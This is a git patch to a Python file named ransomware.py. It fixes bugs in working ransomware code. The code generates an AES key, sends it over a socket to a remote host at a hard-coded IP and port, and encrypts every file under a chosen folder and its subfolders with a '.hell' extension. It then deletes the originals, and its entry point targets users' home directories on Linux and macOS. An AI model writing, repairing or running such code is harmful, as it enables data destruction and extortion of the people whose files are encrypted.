From f7e90a54c8285a263df9727e48755c3597014ae1 Mon Sep 17 00:00:00 2001 From: hellisabove Date: Fri, 23 Aug 2024 17:54:31 +0300 Subject: [PATCH] Fixed some stuff in main script --- ransomware.py | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/ransomware.py b/ransomware.py index 10b23df..8e1506e 100644 --- a/ransomware.py +++ b/ransomware.py @@ -8,30 +8,32 @@ from Crypto.Util.Padding import pad # We create a socket to send the encryption key to a remote server def send_key(key): - host = 192.168.0.155 - port = 9090 + host = "192.168.0.155" + port = 8092 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) - s.sendall(key) + s.send(key) print("Key sent") + s.shutdown(2) s.close() # Function to encrypt a file and removing the unencrypted one def encrypt_file(file, key, iv): cipher = AES.new(key, AES.MODE_CBC, iv) - + file_name = file + with open(file, 'rb') as file: plaintext = file.read() ciphertext = cipher.encrypt(pad(plaintext, AES.block_size)) - with open(file + 'hell', 'wb') as enc_file: + with open(file_name + ".hell", "wb") as enc_file: enc_file.write(iv + ciphertext) os.remove(file) # This will go through the specified folder and encrypt all of the files, even from subfolders -def encrypt_whole(path): +def encrypt_whole(folder_path): key = get_random_bytes(32) iv = get_random_bytes(16) send_key(key) @@ -55,4 +57,4 @@ if __name__ == "__main__": elif platform.system == "Darwin": path = '/Users/' + username - encrypt_whole(path) + encrypt_whole("/home/hellisabove/test")